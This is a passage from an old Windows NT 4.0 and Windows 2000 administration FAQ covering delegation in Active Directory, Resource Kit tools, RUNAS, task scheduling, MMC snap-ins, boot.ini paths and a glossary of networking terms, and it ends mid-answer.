Its possible to allow certain users/group to manage properties of other users manually as follows:

  1. Start the Active Directory Users and Computers MMC snap-in (Start – Programs – Administrative Tools – Active Directory Users and Computers)
  2. Enable the Advanced View (View Menu – Advanced Features)
  3. Right click on the User/Group/OU/Domain and select Properties from the context menu
  4. Select the Security tab
  5. Click the Advanced button
  6. Under the Permissions tab either add a new user/group or select an existing permission entry and click ‘View/Edit..’ button
  7. Select the Object or Properties tab and set the relevant Allow/Deny option for the specific option
  8. Click OK to all dialogs


Q. How do I delegate authority in Windows 2000 using the Wizard?

A. Its possible to delegate authority in Windows 2000 using a wizard which is simpler than manually delegating authority:

  1. Start the Active Directory Users and Computers MMC snap-in (Start – Programs – Administrative Tools – Active Directory Users and Computers)
  2. Right click on the container (domain/OU/built-in) and select ‘Delegate Control.’ from the context menu
  3. Click Next to the intro wizard
  4. Click Add to add users/groups that will have control delegated to them
  5. Select the users/groups and click Add. Click OK. Click Next once users/groups have been selected
  6. Select if all objects in the folder will be covered or only certain objects, e.g. select User objects only. Click Next
  7. Select the type of permissions, General will normally be OK. Select the type of Permissions, e.g. ‘Read and write Phone and Mail Options’. Click Next
  8. Click Finish to the wizard


Q. Where can I find the resource kit?

A. It is available from most large book shops. Workstation is around US$50, Server US$150. You can purchase it online from http://www.amazon.com by clicking one of the following:

  • Windows NT Workstation Resource Kit
  • Windows NT Server Resource Kit
  • Windows NT Server Supplement One
  • Windows NT Server Supplement Two

Updates to the Resource Kit tools are available from ftp://ftp.microsoft.com/bussys/winnt/winnt-public/reskit/.

A free support version of the Resource kit can be downloaded from http://www.microsoft.com/ntserver/nts/downloads/recommended/ntkit/


Q. How do I run an application as a service?

A. The NT Resource Kit includes a utility called SRVANY.EXE which runs an applications as a service. There is more information on this at http://support.microsoft.com/support/kb/articles/q137/8/90.asp, also read the file that comes with the resource kit (Start - Resource Kit - Configuration - Running an application as a service).

There are also 3rd party products available with more advanced options such as Service-It (or Service Mill) from http://www.activeplus.com/us/products/serviceit.html.


Q. How can I shutdown a computer remotely?

A. Use the Shut Down workstation utility supplied with the NT Resource Kit.


Q. Where can I find a Unix su (substitute user) like utility?

A. Background for those unfamiliar with Unix: It is a good idea for system administrators to do everyday's work with a low privileged account and only change to an account which is a member of the Administrators group if you really have to do administrative work. To avoid closing all open applications and log off, it is useful to have a utility that allows you to temporarily start applications running in the security context of a different account.

The Resource Kits ships SU.EXE, a free equivalent is SU.ZIP (on Cica in /admin). Both require setting system privileges for the caller. An alternative is SUSRV.ZIP (also from Cica), which has to be installed as a service, but does not require privileges. There is no equivalence to Unix suid programs (i.e. a file attribute which achieves that the file is run in the security context of the owner instead of the caller, without specifying a password).

A new utility is NTsu which will allow you to run programs in the security context of any user in your system or domain. NTsu also allow you to have multiple desktop's, each one for a different user, and you can switch from one to another. NTsu is FreeWare. It can be downloaded from http://32bit.bhs.com or http://www.ntfaq.com/ntfaq/download/ntsu10.zip. The official page is at http://www.teleline.es/personal/quimeras/ntsu/ntsu.htm

Windows 2000 now supplies RUNAS.EXE which allows a program to run as another user (see 'How can I run a program as another user in Windows 2000?' for more information).


Q. I'm running NT on Alpha - Can I run INTEL programs?

A. Digital have produced a special on-the-fly binary translator available at http://www.service.digital.com/fx32/.


Q. What is TWEAKUI?

A. TWEAKUI is part of the Power Toys set released for Windows95, however TWEAKUI (and a number of the other utilities) also runs on NT4.0. The utility basically puts a graphical front end to some of the more useful Registry settings and allows the user to remove icons from the desktop (such as Rubbish Bin), automatically login and many other useful config options.

Download it from http://www.microsoft.com/Windows95/downloads/contents/WUToys/W95PwrToysSet/Default.asp, then run the file and a number of files will be created. Right click on the TWEAKUI.INF and select install, and a TWEAKUI option will be in the control panel.


Q. What else is good?

A. Below are some sites that are worth a look

  • http://www.ntsoftdist.com
  • http://www.microsoft.com/ntworkstation - There is an excellent NT automated deployment guide here


Q. Do Windows 95 Powertoys work in NT?

A. Some of them do, and I suspect as time goes on they all will. The ones that currently work on NT 4.0 are

  • Desktop Menu
  • Find X
  • Send to X
  • Target Menu
  • TweakUI - Hurray :-)
  • Explore from here
  • Command prompt here

As part of the Powertoys for Windows 95 there is also a QUICKRES utility that allows a change of resolution without a reboot, however this does not work in NT, but the NT resource kit includes an identical utility (called QUICKRES.EXE).


Q. Is there a X-terminal for NT?

A. There are a number of X terminals for NT:

  • MIX at http://www.microimages.com
  • Exceed at http://www.hummingbird.com/
  • X-Win32 at http://www.starnet.com


Q. Where is File Manager?

A. It is still shipped with NT 4.0, just run WINFILE.EXE. For information on Windows 2000 see 'Q. Where is File Manager in Windows 2000?'


Q. Where do I get Themes for NT?

A. Desktop Themes are supplied on the NT Resource kit, however if you have Windows95 installed with the plus pack you can copy the files themes.cpl and themes.exe to the %systemroot$/system32 directory and reboot your machine. These files are contained in Plus_3.cab on the Windows 95 CD-ROM.


Q. Where can I get UNIX tools for NT?

A. There are three selections of utilities that I know of:

  • http://sourceware.cygnus.com/cygwin/
  • http://www.research.att.com/sw/tools/uwin/
  • http://www.datafocus.com


Q. How can I fix/replace/copy files on an NTFS partition from outside Windows NT?

A. NT Internals has released ERD Commander which allows you to perform read and write operations on NTFS/FAT and CDFS partitions. ERD Commander can be purchased from http://www.winternals.com/products/erdcommander.shtml or a free read-only version from http://www.sysinternals.com/erdcmndr.htm.

Once downloaded just run the executable erdcmndr.exe and it will self install to a directory of your choosing. It will also create a program group "ERD Commander". Once installed it will ask if you want to create the ERD Commander disks. ERD Commander works by altering a set of NT installation disks with its own special versions of certain files so instead of installing NT it brings up a DOS like command prompt. You can either modify an existing set of installation disks or let ERD Commander create a new set (you will need to insert you NT installation CD-ROM). The instructions below are for creating the disks.

  1. Run "ERD Commander setup32" (start - programs - ERD Commander). This is assuming you are booted in NT, if you are running a 16bit OS you could run "ERD Commander setup16"
  2. Click Next and then Next again to confirm the license agreement
  3. If you have a set of NT installation disks you want to modify check the "I already have NT setup floppies", if you don't and want the installation to create them leave the box unchecked. Click Next
  4. Insert your NT installation CD-ROM and click next
  5. Click Next at the next screen and then in the dialog box enter the location of your installation files, <CD-ROM>:\i386
  6. You will then be prompted to insert 3 blank formatted disks, and you should follow the on screen instructions. You put the disks in reverse order, so disk 3 first, then disk 2 and disk 1 last. This was so if you were installing you could just leave disk 1 in the machine once created and reboot, clever :-)
  7. Once the disks are created make sure disk 1 is in the disk drive and click Next on the ERD Commander window, it will alter the disk, then ask you to put in disk 2 and again alter a number of files. You do not have to put in disk 3 (this disk just contains drivers).

When the creation has completed you can insert disk 1 and reboot the machine to boot into ERD Commander. You will then be prompted to insert disk 2 then disk 3 and then finally disk 2 again.

There is a pause of about 30 seconds when it first displays the "Microsoft (R) Windows NT", don't worry, this is normal. You will then be shown a list of all the drives.

erdshot.gif (5430 bytes)

Pay attention to the drive letters, they may not match your usual drive assignments, this is because Windows NT grants letters on active partitions of each disk first, where as ERD Commander assigns them as it comes across them from floppy disk 0, hard disk 0 and then CDRom 0 onwards. For example if you had 2 harddisks, harddisk 0 and harddisk 1, with harddisk 0 having 2 partitions, Windows NT would assign the letters as

Harddisk 0, partition 1 c:
Harddisk 1, partition 1 d:
Harddisk 0, partition 2 e:

This is because active partitions are assigned drive letters first. ERD Commander would label the partitions as

Harddisk 0, partition 1 c:
Harddisk 0, partition 2 d:
Harddisk 1, partition 1 e:

This is not a problem, just be aware, don't panic that your files have disappeared :-)

You can now enter normal commands like dir, rename, copy etc. When you are finished Ctrl-Alt-Del does not work, just remove the ERD Commander disk and type exit.


Q. What are the "Windows NT Support Tools"?

A. These are a set of tools used to aid debugging and diagnosis of Windows 3.51 and 4.0 systems.

The current version is 1.0 and these tools are free and can be downloaded from ftp://ftp.microsoft.com/bussys/winnt/winnt-public/tools/OEMSupportTools/OEMTools.exe (5.29MB).

The support tools consist of 3 programs

  • Kernel Debugger - New debugger extensions to facilitate examination and analysis of a wider range of Kernel data structures than is conveniently possible today, especially when dealing with crash dumps.
  • Pool Enhancements - Tools for memory pool caller-tracking/tail-checking and increasing available pool statistics.
  • Kernel Memory Space Analyzer - A heuristics-based kernel memory crash dump analysis tool to aid in diagnosing memory corruption problems. This tool discovers and analyzes anomalies in the kernel memory space

The download file is self-extracting and detailed instructions are provided in the readme.txt file.


Q. How do I load the RKILLSRV.EXE?

A. The RKILLSRV allows you to stop processes remotely by running as a service and you can then use WRKILL.EXE or RKILL.EXE to stop a process on that machine.

Its inconvenient to have RKILLSRV running as a process so its better so have it running as a service.

Use the SRVINSTW.EXE provided in the resource kit. It is a GUI program that allows one to set up a program written properly to run as a service. Emphasis: The program MUST be written to run as a service!!!

Once started you should select "Install a service" and click Next. Select the machine, a name for the service, the program, the service type, an account to run under and finally how the service is run (e.g. automatic).

With the SRVINSTW.EXE you can setup programs on your local machine or on a remote machine.

You must have Administrative privileges on the target machine.


Q. Where is File Manager in Windows 2000?

A. File Manager, or WINFILE.EXE is no longer supplied with NT and thus not available under Windows 2000.

If you upgraded a 4.0 machine to Windows 2000 then File Manager is not deleted and will still be available, also you may copy WINFILE.EXE from a 4.0 machine to Windows 2000.

Under Windows 2000 you may also use the File Management MMC snap-in.

I would say that by now you should be using Explorer and not File Manager anyway to take advantage of the advanced feature set provided by Explorer.


Q. What is the Microsoft Management Console (MMC)?

A. Microsoft Management Console (MMC) - previously known by the code name "Slate" is Microsoft's new interface for machine and application management and allows the user to create a custom console with "snap-ins" loaded. MMC provides a shell with no functionality, a 'snap-in' provides the functionality, such as DNS management, and while a number of default console configurations will be supplied with certain snap-in's pre loaded you will be able to create your own console with one or more snap-ins loaded.

A custom console with the Group Policy Editor, Services and Disk Management Snap-in loaded.

The main MMC window has the 'Console' menu which is used to add and remove snap-ins to the console and to also save the configuration to enable you to reload any useful snap-in combinations.

Future Microsoft applications, such as Exchange 6.0 (Platinum) will use MMC snap-ins instead of normal applications and other software providers will follow suit with snap-ins for most application management interfaces.

The MMC is core in Windows 2000 and was first seen in NT 4.0 with Option Pack 4, Internet Information Server 4.0 and Service Pack 4's Security Configuration Editor.

The latest version of the MMC for Windows NT 4.0 can be downloaded from http://www.microsoft.com/MANAGEMENT/MMC/download.htm.


Q. How do I create a custom MMC configuration?

A. One of MMC's great features is its flexible and we will take a quick look at this by creating out own custom console.

The first step is to start the MMC shell, select Start - Run and type MMC.EXE. MMC will be started with no snap-ins loaded and has no functionality.

The next step is to add a snap-in:

  1. From the main MMC menu, select Console - Add/Remove Snap-in
  2. The Add/Remove dialog will be shown and no snap-ins will be listed. Click Add
  3. A list of all known snap-ins will be displayed. Select a snap-in (for example Disk Management) and click Add
  4. Depending on the snap-in added other options may be displayed for example on the Disk Management you can choose the local computer or a remote computer. Click Finish
  5. You may add other snap-ins (for example DNS). When finished adding click Close
  6. The dialog will show the snap-ins added. Click OK

The main console will now show the snap-ins added at the root. Its possible for each snap-in to be in its own window within the MMC rather than as a single tree by right clicking on the snap-in and selecting 'New Windows from Here' from the context menu. If you did this for all snap-ins loaded you could close the main tree window.

Once your console is laid out to your liking you can save it as follows:

  1. Select 'Save As' from the Console menu.
  2. Select a location to save the configuration as and enter a name. It will have a .msc extension.
  3. Click Save

If you save to your profile area, e.g. d:\Documents and Settings\Administrator\Start Menu\Programs\Administrative Tools the new MMC configuration will be displayed on the Start Menu.


Q. Where is X from NT 4.0 in Windows 2000?

A. Windows NT 4.0 had a large number of applications for domain and system management which have been replaced in Windows 2000 as, or part of, a MMC snap-in. The table below shows mapping of 4.0 application to MMC snap-in.

In many situations the 2000 has its own snap-in but is usually called from a larger group snap-in, e.g. Computer Management MMC snap-in which contains many other snap-ins.

4.0 Application | Windows 2000 snap-in | Notes
Backup (NTBACKUP.EXE) | NTBACUP.EXE | New utility but same name. Does not use MMC as may be called from command prompt as part of automated procedure. Based on Seagate technology
Disk Administrator (WINDISK.EXE) | Disk Management | By default in Computer Manager MSC file, Start - Programs - Administrative Tools - Computer Management - Storage - Disk Management
Event Viewer (EVENTVWR.EXE) | Event Viewer | By default in Computer Manager MSC file, Start - Programs - Administrative Tools - Computer Management - System Tools - Event Viewer
License Manager (LLSMGR.EXE) | LLSMGR.EXE | Start - Programs - Administrative Tools - Licensing
Migration Tool to Netware (NWCONV.EXE) |  |
Network Client Administrator (NCADMIN.EXE) | Remote Install Service | Start - Programs - Administrative Tools - Active Directory Users and Computers - Select computer - Remote Install tab
Performance Monitor (PERFMON.EXE) | Performance Logs and Alerts | By default in Computer Manager MSC file, Start - Programs - Administrative Tools - Computer Management - System Tools - Performance Logs and Alerts
Remote Access Admin (RASADMIN.EXE) | Routing and Remote Access | By default in Computer Manager MSC file, Start - Programs - Administrative Tools - Computer Management - Server Applications and Services - Routing and Remote Access
Server Manager (SRVMGR.EXE) | Active Directory Users and Computers | Start - Programs - Administrative Tools - Active Directory Users and Computers - Select Domain - Computers branch Promote of a machine to a domain controller is via DCPROMO.EXE utility
System Policy Editor (POLEDIT.EXE) | Group Policy Editor | Right click on a container, select Properties and select Group Policy tab.
User Manager for Domains (USRMGR.EXE) | Active Directory Users and Computers | Start - Programs - Administrative Tools - Active Directory Users and Computers - Select Domain - Users branch
User Manager for Domains (USRMGR.EXE) - Trusts | Active Directory Domains and Trusts | Start - Programs - Administrative Tools - Active Directory Domains and Trusts - Right click domain - Select Properties - Select Trusts tab
User Manager for Domains (USRMGR.EXE) - Account Policies | Group Policy | Start - Programs - Administrative Tools - Active Directory Users and Computers - Right click on Domain - Select Properties - Select Group Policy - select Domain Policy and click Edit - Computer Configuration - Windows Settings - Account Policies
User Manager for Domains (USRMGR.EXE) - User Rights | Group Policy | Start - Programs - Administrative Tools - Active Directory Users and Computers - Right click on Domain - Select Properties - Select Group Policy - select Domain Policy (or a container) and click Edit - Computer Configuration - Windows Settings - Local Policies - User Rights Assignment
User Manager for Domains (USRMGR.EXE) - Audit | Group Policy | Start - Programs - Administrative Tools - Active Directory Users and Computers - Right click on Domain - Select Properties - Select Group Policy - select Domain Policy (or a container) and click Edit - Computer Configuration - Windows Settings - Local Policies - Audit Policy
Windows Diagnositics (WINMSD.EXE) | System Information | By default in Computer Manager MSC file, Start - Programs - Administrative Tools - Computer Management - System Tools - System Information
Domain Network Services (DNS) | DNS | Start - Programs - Administrative Tools - DNS
Dynamic Host Configuration Protocol (DHCP) | DHCP | Start - Programs - Administrative Tools - DHCP
WINS | WINS | Start - Programs - Administrative Tools - WINS


Q. How can I synchronize accounts between NT and Unix?

A. Microsofts NT Services for Unix provides functionality to allow synchronization between NT and Unix accounts, see http://www.microsoft.com for more details. For more detail see http://www.microsoft.com/NTServer/nts/exec/overview/sfu.asp.


Q. How can I add Open with Run Dialog to the context menu?

A. Download rundlg.zip and extract.

Use rundlg.inf file to install it (you can uninstall it later from control panel).

Right-click on any .exe, .bat, or .cmd file and you'll see "Open in Run Dialog" menu item. Click on it and you'll see Run Dialog with the selected file name.


Q. What is MSINFO32.EXE?

A. MSINFO32.EXE was first introduced with Office 97 and gives detailed information about your computer. In Windows 2000, MSINFO32.EXE has replaced WINMSD.EXE and if you try and start WINMSD, MSINFO32 will be started.

MSINFO32 not only gives information about your hardware, it can give full information about currently running processes, programs configured to start when the system starts and much more.


Q. How can I uninstall IIS 4.0 and Option Pack 4?

A. Knowledge Base article Q244988 (http://support.microsoft.com/support/kb/articles/Q244/9/88.ASP) describes the procedure excellently. Below is a summary of what you need to do:

  1. If using SQL back it up
  2. Stop and reset the startup type for IIS services and all other nonessential services, including but not limited to third-party products, all Exchange services, and SQL services to manual (Start - Settings - Control Panel - Services - Startup)
  3. Reboot the server
  4. Before removing IIS, remove FrontPage Server Extensions if they are in use (Start - Programs - WIndows NT 4.0 Option Pack - Microsoft Internet Information Server - FrontPage Server Administrator - Uninstall)
  5. Remove the Windows NT Option Pack (Start - Programs - Windows NT4.0 Option Pack- Windows NT 4.0 Option Pack Setup - Select Remove All)
  6. Delete the IUSR_computer and IWAM_computer accounts from within Windows NT User Manager (USRMGR.EXE)
  7. Run the DCOMCNFG utility and set the Default Impersonation Level to Identify (run DCOMCNFG.EXE, select Properties, in Default Impersonation Level box, click Identify)
  8. Restart the computer.
  9. Run RDISK to create a new ERD
  10. Reinstall the latest Windows NT Service Pack.
  11. Restart the computer.
  12. Run RDISK again (to a different disk or share)
  13. Clear out the event logs in Windows NT using Event Viewer (Start - Programs - Administrative Tools - Event Viewer)
  14. Download and install the latest version of the Microsoft Data Access Components (from http://www.microsoft.com/data/download.htm)
  15. If SQL is installed run the SQL Setup program and choose the Update option.
  16. Reset the startup type of the services previously stopped to Automatic, and then start the services one program grouping at a time, to make sure that they start correctly.
  17. If SQL is installed run the SQL admin and restore the databases from the backup you created in step 1.


Q. How can I run a program as another user in Windows 2000?

A. Windows 2000 includes the utility RUNAS.EXE which allows you to run a program as another user without having to log off. This is most useful for Administrators who may need to run a single command as an Adminstrator.

The basic usage is:

C:\> runas /user:Administrator@savtech.com regedit.exe

or

C:\> runas /user:savtech\Administrator regedit.exe

Both the Windows 2000 naming methods can be used, the 4.0 style "domain\user" or the Windows 2000 User Principal Name (UPN), user@<domain>.

Full help can be found by typing 'runas /?'.

After entering the runas command you will be prompted for the password of the specified account, e.g.

C:\>runas /user:Administrator@savtech.com regedit.exe
Enter password for Administrator@savtech.com:
Attempting to start "regedit.exe" as user "Administrator@savtech.com"...

Another option would be to install the telnet service on the machine and you could then telnet back into the machine as the other user, run the command without having to log off the main user.

You can also shift+right click on an item and choose "Run As" from either Explorer, Desktop to bring up the Run As dialog and allow you to specify a user/password.


Q. Where is SCOPY in Windows 2000?

A. Scopy was a useful NT 4.0 resource kit utility that enabled files/folders to be copied with their ACL's and audit settings kept intact. SCOPY is not supplied in the Windows 2000 Resource Kit but its functionality has instead been packaged into the XCOPY utility.

/X copies the audit settings (as /a in SCOPY)
/O copies ACL information (same as SCOPY)
/S copies subdirectories (same as SCOPY)


Q. What is SAMBA?

A. Samba is a suite of programs which work together to allow clients to access to a server's filespace and printers via the SMB (Server Message Block) protocol. Initially written for Unix, Samba now also runs on Netware, OS/2 and VMS. For more information goto http://samba.anu.edu.au/samba/


Q. Why does the disk spanning function of PKZIP (command line version) not work under NT?

A. Because NT command processor CMD.EXE uses '&' character for separating several commands on the same command line and PKZIP uses the same character for creating multi-disk archives. Solution is to enclose '&' in quotes like this:
C:>pkzip "-&amp;" -pr <archive.zip> <files...>.

The other way of getting this to work is to precede the ampersand by a carat (above the number 6 on UK keyboard), as in -ex^&.

There is now a Win32 console (line command) PKZip 2.5 with disk span support. Check http://www.pkware.com

For more information see Knowledge Base article Q130893 (http://support.microsoft.com/support/kb/articles/Q130/8/93.asp)


Q. What virus killers are available for NT4.0?

A. Below is a table of virus killers I know about.

AntiViral Toolkit Pro | http://www.avp.com/
Cheyenne Software InocuLAN | http://www.cheyenne.com
Data Fellows F-PROT Professional | http://www.datafellows.com
McAfee Anti-Virus | http://www.mcafee.com
Norman Virus Control | http://www.norman.no/
Panda Anti-Virus | http://www.pandasoftware.com
Symantec's Norton Anti-Virus for NT | http://www.norton.com
Ontrack Computer Systems VirusScan | http://www.ontrack.com
Dr. Solomon's Anti-Virus Toolkit | http://www.sands.com/prods/toolkit/
SOPHOS | http://www.sophos.com
Vet | http://www.vet.com.au


Q. Does NT support the LS120 (adrive)?

A. Yes, see the Microsoft HCL at http://www.microsoft.com/hcl/hclmain.asp and search for "Superdisk" in "All product categories"


Q. Is NT year 2000 compliant?

A. Yes as long as the system has Service Pack 4 installed. Service Pack 3 with the Year 2000 hot fixes applied is also compliant.

For more information see the Microsoft Year 2000 Information Centre at http://www.microsoft.com/y2k . Also see http://www.microsoft.com/technet/year2k/


Q. What does x stand for?

A. See the table below

ACL | Access Control List | A list that controls the access to an object
API | Application Programming Interface | An API is an interface through which programs interact with each other, normally through DLL calls.
BDC | Backup Domain Controller | An NT Server machine that receives a copy of the master user-database from the PDC and can validate logons
COLD | Computer Output to Laser Disk |
DAP | Directory Access Protocol | Used to access a directory service
DHCP | Dynamic Host Configuration Protocol | A service that automatically assigns IP-addresses to clients from a given range (scope)
DLC | Data Link Control | International standard protocol IEEE 802.2 Used with mainframe gateways and to control printers with a JetDirect-card
DSA | Directory System Agent | The name of a domain controller, e.g. titanic
DSA UUID | DSA Universally Unique ID | The 128 bit number used to identify objects stored in the directory.
FAT | File Allocation Table | The DOS way of organizing a harddisk Lots of wasted space on large disks Little file security
GUID | Globally Unique IDentifier | A 64-bit number that is statistically unique
HPFS | High Performance File System | The OS/2 way of organizing a harddisk
ICMP | Internet Contol Message Protocol | Internet Control Message Protocol (ICMP) is a maintenance protocol specified in RFC 792 and is normally considered to be part of the IP layer. ICMP messages are encapsulated within IP datagrams, so they can be routed throughout an internetwork. ICMP is used by Windows NT to: Build and maintain route tables. Assist in Path Maximum Transfer Unit (PMTU) discovery. Diagnose problems (using the utilities ping and tracert). Adjust flow control to prevent link or router saturation.
IPX/SPX | Internetwork Packet Exchange / Sequenced Packet Exchange | Novell NetWare protocol Based on the Xerox protocol XNS(Xerox Networking Services)
LDAP | Lightweight Directory Access Protocol | Protocol used to query a directory service
MAC-addresses | Media Access Control layer addresses | 48-bit address that is hardwired into the netcard DHCP, among others, use this to identify a machine requesting a certain IP-address within its lease duration
NBT | NetBIOS over TCP/IP | NetBIOS built on top of the TCP/IP suite
NDIS | Network Driver Interface Specification | Microsoft binding standard (interface between netcard driver and protocol) Can load into high memory on DOS systems
NetBEUI | NetBIOS Extended User Interface | The actual NetBIOS transport protocol
NetBIOS | Network Basic Input/Output System | An API of 18 networking-related commands
NIC | Network Interface Card | Such as an ethernet card. Also you have InterNIC, the organization that assigns domain names and IP-addresses to Internet hosts, http://www.internic.net
NTFS | New Technology File System | The NT way of organizing a harddisk Efficient storage High level of security
ODI | Open Data-link Interface | Novell binding standard (interface between netcard driver and protocol) Can not load into high memory on DOS systems
PDC | Primary Domain Controller | The NT Server machine that stores the master user-database in a domain
RAID | Redundant Array of Inexpensive Drives | A number of disks with data distributed all over them to allow for faster access Can also provide data-recoverability NT supports RAID level 0,1 and 5
RIP | Routing Information Protocol | The protocol that takes care of routing on the Internet
SID number | Security IDentification number | Every object in an NT domain have a SID number Reinstalling will not give the same SID number
SPS | Standby Power Supply | Device that is installed between the wall outlet and the computer inlet The power goes directly into the computer with a branch to the batteries When the power fail, the batteries take over, but with a delay The delay should be 4 ms or better for proper operation
TCP/IP | Transmission Control Protocol / Internet Protocol | The protocol used for Inter- and Intranet communications
UDP | User Datagram Protocol | A basic alternative to TCP for IP communication Among other things, UDP is used for communicating with DHCP-servers
UPS | Uninterruptible Power Supply | Device that is installed between the wall outlet and the computer inlet The power is directed through the batteries, thus stabilizing the variance of the power from the outlet Because of this, the switch delay is 0 ms
WINS | Windows Internet Naming Service | A dynamic IP-to-name database


Q. What are the shortcuts available with the "Win" key?

A. See the table below

WIN + R | Display the Run dialog
WIN + M | Minimize all windows
WIN + Shift + M | Undo minimize all windows
WIN + F1 | Help
WIN + E | Explorer
WIN + F | Find Files
Ctrl +WIN + F | Find Computer
WIN + TAB | Cycle through minimized taskbar icons
WIN + BREAK | Systems Properties


Q. How can I open a file with an application, other than the one it is associated with?

A. Usually you can right click on the file, and select open. If you hold down shift and right click on the file you will have "open with."


Q. How do I change the icon associated with a short cut?

A. Follow the steps below:

  1. Right click on the shortcut and choose Properties
  2. Click the Shortcut tab and click "Change Icon"
  3. Select your new icon, there are several sets of icons you can use that come with NT : SHELL32.DLL, PIFMGR.DLL, MORICONS.DLL and PROGMAN.EXE
  4. Click OK
  5. Exit


Q. Is it possible to map a drive letter to a directory?

A. You can use the SUBST command to map a pseudo drive letter to drive/directory
subst r: d:\winnt\system32
would map the letter r to the directory winnt\system32 on the d: drive.


Q. What keyboard shortcuts are available?

A. See the table below

F1 | Help
F2 | Rename
F3 | Find
F4 | Display combo box in Explorer
F5 | Refresh
F6 | Switch panes in Explorer
F10 | Menu Mode
ALT + ENTER | Properties
CTRL + Drag a file | Copy
CTRL + G | Goto
CTRL + Z | Undo
CTRL + A | Select All
CTRL + ESC | Start Menu
CTRL + SHIFT + ESC | Task Manager


Q. How do I schedule commands?

A. Windows NT has a built in scheduler service which enables applications to be started at specified times. To schedule events the schedule service must be started:

  1. From the Control Panel (Start - Settings - Control Panel) start Services
  2. Click Scheduler (or Task Scheduler on Workstation) and click Startup
  3. Select Automatic and click OK
  4. You can now reboot, or just click Start which will start the Scheduler service.
  5. Close the Services Control Applet

The scheduler service only needs to be started on the target machine, not the issuing machine. If the scheduler service is not started on the target machine the error
The service has not been started
will be displayed.

To schedule a command you use the AT utility. AT is used with the following syntax:

at [<computername>] <time> [/interactive] [/every:date/day..] [/next:date/day..] <command>
e.g. at \\savmain 22:00 /interactive /every:M,T,W,Th,F sol.exe

The example would start the solitaire game on the SAVMAIN machine at 10:00 p.m. every weekday. The /interactive means the application can interact with the desktop, i.e. the currently logged on user. If /interactive is omitted and the application requires user interaction it will just start and finish instantly.

When a command is submitted it will be given an ID. To delete a scheduled command use:

at [<computername>] <id> /delete /yes
e.g. at \\savmain 3 /delete /yes - The /yes skips confirmation of the delete

The above may seem quite a lot to take in if all you want to do is a backup (see Q. How do I schedule a backup? for an example of using AT with a backup), so a utility called WINAT is shipped with the NT Resource Kit that puts a graphical interface to the AT command which you may find easier, however the functionality is the same. The advantage with WINAT is that it automatically starts the Schedule service on the target machine.


Q. What are the long path names in the boot.ini file?

A. The pathnames in the boot.ini file are the ARC (Advanced RISC Computing) pathnames, and are used to locate the NT boot partition. There are two main types of ARC names depending on if the disks are IDE or SCSI. For IDE they will follow the convention below:

multi(x)disk(x)rdisk(x)partition(x)\%systemroot%

Both the multi and disk are not really used for IDE and should always be 0. The rdisk is the physical drive and will be 0 or 1 on the first IDE controller, or 2 and 3 on the second IDE controller. Partition() is the partition number on the disk and starts from 1.

The scheme is slightly different for SCSI:

scsi(x)disk(x)rdisk(x)partition(x)\%systemroot%

Scsi() is the controller number of the SCSI identified in the Ntbootdd.sys. Disk() is the SCSI ID of the physical disk. RDISK() is the SCSI logical unit number (LUN), which will nearly always be 0. Partition is the same is with IDE and is the partition number starting with 1.

The multi() designation means that the drive can respond to INT 13 calls, and most SCSI drives can so you may use multi() with a SCSI drive also.

In a pure IDE system, the MULTI() syntax will work for up to the four drives maximum on the primary and secondary channels of a dual-channel controller.

In a pure SCSI system, the MULTI() syntax will work for the first two drives on the first SCSI controller (that is, the controller whose BIOS loads first).

In a mixed SCSI and IDE system, the MULTI() syntax will work only for the IDE drives on the first controller.

In Windows 2000 you may also see a signature(xxxxxxxx) format, for example:

signature(8b467c12)disk(1)rdisk(0)partition(2)\winnt="description"

Signature() syntax is used only if one of the following conditions exists:
  • The partition on which you installed Windows 2000 is larger than ~7.8 gigabytes (GB) in size, or the ending cylinder number is higher than 1024 for that partition and the system BIOS or boot controller BIOS does not support INT13 extensions.
  • The drive on which you installed Windows 2000 is connected to a SCSI controller whose BIOS is disabled, so INT13 BIOS calls cannot be used during the boot process.

The signature() syntax is equivalent to the scsi() syntax, but is used instead to support the Plug and Play architecture in Windows 2000. Because Windows 2000 is a Plug and Play operating system, the SCSI controller number instance may vary each time you start Windows 2000, especially if you add new SCSI controller hardware after Setup is finished.

As with scsi() format a ntbootdd.sys file must be located at the root of the system partition for signature().


Q. How can I execute a batch file using WINAT with Administrator Permissions?

A. From the Services Control Panel Applet (Start - Settings - Control Panel) double click Scheduler. Change the account/password to that of a user in the Administrative group. It may be wise to create a new account just for this use which would require the following attributes:

  • Non blank password
  • Non Expiring password
  • User Rights - Logon as service and Logon as batch job

After changing the Scheduler information you will need to stop and start the service.


Q. I have 95 and NT installed, how can I configure the applications to run on both?

A. While it is possible to add the windows95 system directory to the NT path (which would mean you would find any .dll's etc. associated with applications), many applications write a large amount of information to the registry which would be missing. The best approach, and one I have tested, is to just install the application twice to the same directory, once when you are booted into NT, and once when you are booted into 95. This has the effect of only having one set of exe's, but duplicates both .dll's and registry settings to both machines. Obviously the applications cannot be on an NTFS or FAT32 partition.


Q. How can I stop and start services from the command line?

A. This can be accomplished using the
net stop <service name>
net start <service name>
A full list of the exact services is found in the registry (run regedit.exe) under the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services key.

Alternatively, you can perform the stop and start using the name that is showed in the Services Control Panel applet by putting the name in quotes, i.e.
net stop "<service>"
net start "<service>"


Q. How do I delete a Service?

A. To delete a service that has not been automatically removed by a software uninstall you need to edit the registry:

  1. Start the registry editor (regedit.exe)
  2. Move to the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services key
  3. Select the key of the service you want to delete
  4. From the Edit menu select Delete
  5. You will be prompted "Are you sure you want to delete this Key" click Yes
  6. Exit the registry editor

There is also a utility that is supplied with the NT resource kit called INSTSRV.EXE that can be used to install and remove services

instsrv <service name> remove

Alternatively, also with the resource kit is a utility SRVINSTW.EXE that again installs and removes services, but with a GUI wizard format allowing you to select the service either locally or remotely.


Q. What is USER.DMP?

A. USER.DMP is created by Dr. Watson when a program crashes, and is there to help you fix the problem. It can be examined using \support\debug\i386\dumpexam.exe or using windbg -z user.dmp. You can delete this file without any worries. The syntax for dumpexam.exe is

dumpexam -y <symbol file location> <dumpfile name and location>, e.g.
dumpexan -y d:\winnt\symbols d:\winnt\memory.dmp

The output from dumpexam will be placed at %SystemRoot%\MEMORY.TXT.

To stop this file being created execute DRWTSN32.EXE and unselect the option "Create Crash Dump File".


Q. How in Notepad can I save a file without the .txt extension?

A. When you save the file, just put the file name in double quotes, e.g. "johns.bat" will save the file as johns.bat with no .txt extension.


Q. How can I move shares and their contents from one machine to another?

A. Moving the actual files and directories is simple, however share information is not contained in the directories, but rather is contained in the registry (under LanmanServer), it is therefore necessary to copy this registry information from the machine currently containing the shares, to the machine that will host the shares:

